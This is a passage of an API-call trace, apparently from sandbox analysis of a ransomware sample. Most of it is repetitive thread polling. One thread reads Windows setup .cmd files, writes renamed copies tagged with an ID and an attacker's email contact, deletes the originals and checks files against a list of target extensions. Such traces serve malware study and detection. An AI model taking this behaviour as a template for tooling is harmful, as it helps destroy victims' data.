	[0077.262] GetTickCount () returned 0x1153a65
	[0077.262] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0077.589] GetTickCount () returned 0x1153bae
	[0077.589] GetTickCount () returned 0x1153bae
	[0077.589] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0077.898] GetTickCount () returned 0x1153cd6
	[0077.898] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0078.150] GetTickCount () returned 0x1153dd0
	[0078.150] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0078.354] GetTickCount () returned 0x1153eab
	[0078.354] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0078.855] GetTickCount () returned 0x115409f
	[0078.855] GetTickCount () returned 0x115409f
	[0078.855] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0079.189] GetTickCount () returned 0x11541e7
	[0079.189] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0079.701] GetTickCount () returned 0x11543eb
	[0079.701] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0080.364] GetTickCount () returned 0x115467b
	[0080.364] GetTickCount () returned 0x115467b
	[0080.364] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0081.393] GetTickCount () returned 0x1154a82
	[0081.393] GetTickCount () returned 0x1154a82
	[0081.393] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0081.811] GetTickCount () returned 0x1154c19
	[0081.811] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0082.166] GetTickCount () returned 0x1154d80
	[0082.166] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0082.713] GetTickCount () returned 0x1154fa3
	[0082.713] GetTickCount () returned 0x1154fa3
	[0082.713] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0083.142] GetTickCount () returned 0x1155158
	[0083.142] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0083.655] GetTickCount () returned 0x115534c
	[0083.655] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0084.380] GetTickCount () returned 0x115562b
	[0084.380] GetTickCount () returned 0x115562b
	[0084.387] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0084.959] GetTickCount () returned 0x115586d
	[0084.959] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0085.295] GetTickCount () returned 0x11559b5
	[0085.295] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0085.903] GetTickCount () returned 0x1155c26
	[0085.903] GetTickCount () returned 0x1155c26
	[0085.903] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0086.374] GetTickCount () returned 0x1155dfb
	[0086.375] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0086.617] GetTickCount () returned 0x1155ef5
	[0086.617] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0087.226] GetTickCount () returned 0x1156156
	[0087.226] GetTickCount () returned 0x1156156
	[0087.226] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0087.663] GetTickCount () returned 0x115630c
	[0087.663] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) returned 0x102
	[0088.134] GetTickCount () returned 0x11564e0
	[0088.134] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x64) 

Thread:
	id = 8
	os_tid = 0x210

	[0056.352] GetTickCount () returned 0x114e8bb
	[0056.352] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x54b2a8
	[0056.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0056.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0056.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0056.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x54b2a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0056.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549fa0
	[0056.355] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549fa0, Size=0x20) returned 0x52d340
	[0056.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549ee0
	[0056.355] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x549ee0, Size=0x20) returned 0x52d368
	[0056.355] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0056.356] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0056.356] Wow64DisableWow64FsRedirection (in: OldValue=0x295ff7c | out: OldValue=0x295ff7c*=0x0) returned 1
	[0056.356] lstrlenW (lpString="kernel32.dll") returned 12
	[0056.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d340 | out: hHeap=0x4f0000) returned 1
	[0056.356] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0056.356] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d368 | out: hHeap=0x4f0000) returned 1
	[0056.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x579e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0056.357] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0057.478] GetTickCount () returned 0x114ed20
	[0057.478] GetTickCount () returned 0x114ed20
	[0057.478] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0057.677] GetTickCount () returned 0x114eddc
	[0057.677] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0058.266] GetTickCount () returned 0x114f02d
	[0058.266] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.020] GetTickCount () returned 0x114f703
	[0060.020] GetTickCount () returned 0x114f703
	[0060.020] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.479] GetTickCount () returned 0x114f8c9
	[0060.479] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0060.844] GetTickCount () returned 0x114fa30
	[0060.844] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0061.110] GetTickCount () returned 0x114fb3a
	[0061.110] GetTickCount () returned 0x114fb3a
	[0061.110] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0061.609] GetTickCount () returned 0x114fd3d
	[0061.609] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0062.361] GetTickCount () returned 0x115002b
	[0062.361] GetTickCount () returned 0x115002b
	[0062.361] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0062.821] GetTickCount () returned 0x11501f0
	[0062.821] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0063.713] GetTickCount () returned 0x115057b
	[0063.713] GetTickCount () returned 0x115057b
	[0063.713] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0064.216] GetTickCount () returned 0x115076f
	[0064.216] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0065.006] GetTickCount () returned 0x1150a7c
	[0065.006] GetTickCount () returned 0x1150a7c
	[0065.006] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0065.261] GetTickCount () returned 0x1150b85
	[0065.261] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0065.926] GetTickCount () returned 0x1150e16
	[0065.926] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0066.477] GetTickCount () returned 0x1151039
	[0066.477] GetTickCount () returned 0x1151039
	[0066.477] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0067.237] GetTickCount () returned 0x1151336
	[0067.237] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0068.028] GetTickCount () returned 0x1151643
	[0068.028] GetTickCount () returned 0x1151643
	[0068.028] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.005] GetTickCount () returned 0x1151a2b
	[0069.005] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0069.584] GetTickCount () returned 0x1151c5e
	[0069.584] GetTickCount () returned 0x1151c5e
	[0069.584] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.165] GetTickCount () returned 0x1151ea0
	[0070.165] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0070.870] GetTickCount () returned 0x115216f
	[0070.870] GetTickCount () returned 0x115216f
	[0070.870] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.098] GetTickCount () returned 0x1152259
	[0071.098] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.690] GetTickCount () returned 0x115249b
	[0071.690] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0071.888] GetTickCount () returned 0x1152566
	[0071.888] GetTickCount () returned 0x1152566
	[0071.888] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.312] GetTickCount () returned 0x115270c
	[0072.312] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0072.931] GetTickCount () returned 0x115297d
	[0072.931] GetTickCount () returned 0x115297d
	[0072.931] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0073.286] GetTickCount () returned 0x1152ad5
	[0073.286] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0073.789] GetTickCount () returned 0x1152cc9
	[0073.789] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.172] GetTickCount () returned 0x1152e50
	[0074.172] GetTickCount () returned 0x1152e50
	[0074.172] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0074.963] GetTickCount () returned 0x115315d
	[0074.963] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.229] GetTickCount () returned 0x1153267
	[0075.229] GetTickCount () returned 0x1153267
	[0075.229] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0075.560] GetTickCount () returned 0x11533be
	[0075.560] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.078] GetTickCount () returned 0x11535c2
	[0076.078] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.556] GetTickCount () returned 0x1153797
	[0076.556] GetTickCount () returned 0x1153797
	[0076.556] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0076.961] GetTickCount () returned 0x115392d
	[0076.961] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.262] GetTickCount () returned 0x1153a65
	[0077.262] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.589] GetTickCount () returned 0x1153bae
	[0077.589] GetTickCount () returned 0x1153bae
	[0077.589] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0077.898] GetTickCount () returned 0x1153cd6
	[0077.898] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.150] GetTickCount () returned 0x1153dd0
	[0078.150] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.354] GetTickCount () returned 0x1153eab
	[0078.355] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0078.855] GetTickCount () returned 0x115409f
	[0078.855] GetTickCount () returned 0x115409f
	[0078.855] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0079.189] GetTickCount () returned 0x11541e7
	[0079.189] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0079.701] GetTickCount () returned 0x11543eb
	[0079.701] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0080.364] GetTickCount () returned 0x115467b
	[0080.364] GetTickCount () returned 0x115467b
	[0080.364] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0081.393] GetTickCount () returned 0x1154a82
	[0081.393] GetTickCount () returned 0x1154a82
	[0081.393] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0081.811] GetTickCount () returned 0x1154c19
	[0081.811] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.172] GetTickCount () returned 0x1154d80
	[0082.172] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0082.689] GetTickCount () returned 0x1154f93
	[0082.689] GetTickCount () returned 0x1154fa3
	[0082.713] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.142] GetTickCount () returned 0x1155158
	[0083.142] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0083.654] GetTickCount () returned 0x115534c
	[0083.654] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.370] GetTickCount () returned 0x115561b
	[0084.370] GetTickCount () returned 0x115561b
	[0084.370] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0084.959] GetTickCount () returned 0x115586d
	[0084.959] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.295] GetTickCount () returned 0x11559b5
	[0085.295] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0085.903] GetTickCount () returned 0x1155c26
	[0085.903] GetTickCount () returned 0x1155c26
	[0085.903] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.374] GetTickCount () returned 0x1155dfb
	[0086.374] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0086.617] GetTickCount () returned 0x1155ef5
	[0086.617] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0087.226] GetTickCount () returned 0x1156156
	[0087.227] GetTickCount () returned 0x1156156
	[0087.227] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0087.663] GetTickCount () returned 0x115630c
	[0087.663] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) returned 0x102
	[0088.134] GetTickCount () returned 0x11564e0
	[0088.134] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x64) 

Thread:
	id = 11
	os_tid = 0x3d8

	[0057.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x554e48
	[0057.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x564e50
	[0057.873] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x549598
	[0057.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x546a38
	[0057.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5494c0
	[0057.874] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x38a7020
	[0057.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5493a0
	[0057.876] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5493a0, Size=0x20) returned 0x52d390
	[0057.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x5492e0
	[0057.876] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x5492e0, Size=0x20) returned 0x52d908
	[0057.876] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0057.877] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0057.877] Wow64DisableWow64FsRedirection (in: OldValue=0x259ff50 | out: OldValue=0x259ff50*=0x0) returned 1
	[0057.877] lstrlenW (lpString="kernel32.dll") returned 12
	[0057.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1
	[0057.877] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0057.877] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d908 | out: hHeap=0x4f0000) returned 1
	[0057.877] Sleep (dwMilliseconds=0x64) 
	[0059.763] Sleep (dwMilliseconds=0x64) 
	[0060.084] lstrcmpiW (lpString1=".cmd", lpString2=".html") returned -1
	[0060.084] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
	[0060.084] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.084] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=577) returned 1
	[0060.084] CloseHandle (hObject=0x2ec) returned 1
	[0060.084] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20
	[0060.085] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.085] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.085] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.085] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.085] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.085] GetLastError () returned 0x0
	[0060.085] ReadFile (in: hFile=0x2ec, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x241, lpOverlapped=0x0) returned 1
	[0060.105] WriteFile (in: hFile=0x2e4, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x250, lpOverlapped=0x0) returned 1
	[0060.106] ReadFile (in: hFile=0x2ec, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.106] WriteFile (in: hFile=0x2e4, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x104, lpOverlapped=0x0) returned 1
	[0060.106] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.106] CloseHandle (hObject=0x2e4) returned 1
	[0060.107] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.107] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.108] CloseHandle (hObject=0x2ec) returned 1
	[0060.108] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0060.108] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1
	[0060.122] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.122] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString=".doc") returned 4
	[0060.123] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString=".docx") returned 5
	[0060.123] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.123] lstrlenW (lpString=".pdf") returned 4
	[0060.123] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString=".xls") returned 4
	[0060.123] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString=".xlsx") returned 5
	[0060.123] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.123] lstrlenW (lpString=".ppt") returned 4
	[0060.123] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString=".zip") returned 4
	[0060.123] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString=".rar") returned 4
	[0060.123] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString=".bz2") returned 4
	[0060.123] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.123] lstrlenW (lpString=".7z") returned 3
	[0060.123] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString=".dbf") returned 4
	[0060.123] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString=".1cd") returned 4
	[0060.123] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString=".jpg") returned 4
	[0060.123] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.123] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.124] lstrlenW (lpString=".doc") returned 4
	[0060.124] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString=".docx") returned 5
	[0060.124] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0060.124] lstrlenW (lpString=".pdf") returned 4
	[0060.124] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString=".xls") returned 4
	[0060.124] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString=".xlsx") returned 5
	[0060.124] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1
	[0060.124] lstrlenW (lpString=".ppt") returned 4
	[0060.124] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.124] lstrlenW (lpString=".zip") returned 4
	[0060.124] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString=".rar") returned 4
	[0060.124] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString=".bz2") returned 4
	[0060.124] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0060.124] lstrlenW (lpString=".7z") returned 3
	[0060.124] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0060.124] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.124] lstrlenW (lpString=".dbf") returned 4
	[0060.124] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0060.124] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.124] lstrlenW (lpString=".1cd") returned 4
	[0060.124] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0060.124] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46
	[0060.124] lstrlenW (lpString=".jpg") returned 4
	[0060.124] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0060.125] lstrcmpiW (lpString1=".cmd", lpString2=".html") returned -1
	[0060.125] lstrlenW (lpString="preoobe.cmd") returned 11
	[0060.125] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0060.153] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=74) returned 1
	[0060.153] CloseHandle (hObject=0x2e8) returned 1
	[0060.153] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20
	[0060.153] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.154] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0060.154] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.154] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.154] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.154] GetLastError () returned 0x0
